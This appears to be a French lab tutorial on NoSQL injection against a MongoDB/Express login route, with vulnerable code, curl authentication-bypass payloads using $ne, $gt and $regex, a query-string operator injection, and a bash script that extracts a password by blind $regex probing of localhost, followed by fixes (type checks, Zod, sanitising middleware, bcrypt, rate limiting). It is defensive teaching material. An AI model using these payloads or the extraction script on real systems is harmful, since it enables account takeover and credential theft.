Injection NoSQL (MongoDB)

// routes/auth.js -- VERSION VULNERABLE (labo)
// req.body est du JSON envoye par le client
const { login, motdepasse } = req.body;
const visiteur = await Visiteur.findOne({
  login: login,
  motdepasse: motdepasse        // comparaison directe + mot de passe en clair : double faute
});
if (visiteur) { /* on connecte : on signe un JWT */ }

cd appli-frais/api
npm run dev

curl --version

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":"mauvais"}'

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":{"$ne":null}}'

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":{"$gt":""}}'

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":{"$ne":null},"motdepasse":{"$ne":null}}'

// route VULNERABLE qui construit un filtre avec une entree :
const visiteurs = await Visiteur.find({
  $where: "this.role == '" + req.query.role + "'"   // concatenation : danger
});

// "le mot de passe de marc commence-t-il par 's' ?"
curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":{"$regex":"^s"}}'

{"motdepasse":{"$regex":"^s"}}     // OK   -- 1er = s
{"motdepasse":{"$regex":"^se"}}    // OK   -- 2e  = e
{"motdepasse":{"$regex":"^sec"}}   // OK   -- 3e  = c
{"motdepasse":{"$regex":"^sed"}}   // echec -- ce n'est pas d

#!/usr/bin/env bash
# blind-nosqli.sh -- extrait un secret via $regex blind (sur ton labo UNIQUEMENT)
# Usage : bash blind-nosqli.sh marc
TARGET="${1:-marc}"
CHARSET="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@!-_"
RESULT=""
MAX_LEN=20
TOTAL_REQ=0

for i in $(seq 1 $MAX_LEN); do
  FOUND=false
  while IFS= read -r -n1 c; do
    [ -z "$c" ] && continue
    TOTAL_REQ=$((TOTAL_REQ + 1))
    RESP=$(curl -s -X POST http://localhost:3000/api/login \
      -H "Content-Type: application/json" \
      -d "{\"login\":\"$TARGET\",\"motdepasse\":{\"\$regex\":\"^${RESULT}${c}\"}}")
    if echo "$RESP" | grep -q '"token"'; then
      RESULT="${RESULT}${c}"
      FOUND=true
      echo "[+] position $i trouvee : '$c'  →  '${RESULT}'"
      break
    fi
  done <<< "$CHARSET"
  $FOUND || { echo "[=] longueur atteinte a $((i-1)) caracteres"; break; }
done
echo ""
echo "Valeur extraite : ${RESULT}"
echo "Requetes envoyees : ${TOTAL_REQ}"

curl -s "http://localhost:3000/api/fiches?statut=VA" \
  -H "Authorization: Bearer $TOKEN"

curl -s "http://localhost:3000/api/fiches?statut%5B%24ne%5D=CL" \
  -H "Authorization: Bearer $TOKEN"

// SECURISE -- on refuse tout ce qui n'est pas une chaine
const { login, motdepasse } = req.body;
if (typeof login !== 'string' || typeof motdepasse !== 'string') {
  return res.status(400).json({ error: 'entrees invalides' });
}
// a partir d'ici, login et motdepasse sont forcement des chaines

// SECURISE -- validation declarative
const { z } = require('zod');
const schema = z.object({
  login: z.string().min(3).max(50),
  motdepasse: z.string().min(8)
});
const data = schema.parse(req.body);   // leve une erreur si la forme est mauvaise

// SECURISE -- Zod avec gestion d'erreur propre
const { z } = require('zod');

const LoginSchema = z.object({
  login:      z.string().min(3).max(50).trim(),
  motdepasse: z.string().min(8).max(128)
});

router.post('/login', (req, res, next) => {
  const result = LoginSchema.safeParse(req.body);   // ne leve PAS d'exception
  if (!result.success) {
    // result.error.errors contient le detail de chaque champ invalide
    return res.status(400).json({
      error:   'Corps invalide',
      details: result.error.errors.map(e => ({ champ: e.path[0], msg: e.message }))
    });
  }
  const { login, motdepasse } = result.data;   // types garantis : string
  // ... suite de l'auth
});

// Tentative de correction -- INCORRECTE (piege a debusquer)
const login = String(req.body.login);          // on caste login en chaine
const motdepasse = req.body.motdepasse;         // ... et motdepasse ?
const visiteur = await Visiteur.findOne({ login, motdepasse });
if (!visiteur) return res.status(401).json({ error: 'Identifiants invalides' });

const mongoSanitize = require('express-mongo-sanitize');
app.use(express.json());
app.use(mongoSanitize());   // retire les cles $ et . de body, query et params

// SECURISE -- le mot de passe ne transite JAMAIS dans le find
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12;   // cost 12 : ~300 ms, bon pour AppliFrais

// --- Lors de la creation du compte (une seule fois) ---
const hash = await bcrypt.hash(motdepasse, SALT_ROUNDS);
// Stocker 'hash' dans la BDD, jamais 'motdepasse' en clair

// --- Lors du login ---
const { login, motdepasse } = req.body;
if (typeof login !== 'string' || typeof motdepasse !== 'string') {
  return res.status(400).json({ error: 'entrees invalides' });
}
const visiteur = await Visiteur.findOne({ login });          // login SEUL
if (!visiteur) return res.status(401).json({ error: 'Identifiants invalides' });
const ok = await bcrypt.compare(motdepasse, visiteur.hash);  // compare au hash
if (!ok) return res.status(401).json({ error: 'Identifiants invalides' });
// ... ici seulement : on signe le JWT

npm install express-rate-limit

// app.js ou routes/auth.js
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs:    15 * 60 * 1000,  // fenetre de 15 minutes
  max:         20,               // max 20 tentatives par IP sur cette fenetre
  standardHeaders: true,         // renvoie RateLimit-* dans les headers de reponse
  legacyHeaders:   false,
  message: { error: 'Trop de tentatives, reessaie dans 15 minutes.' }
});

app.post('/api/login', loginLimiter, authController.login);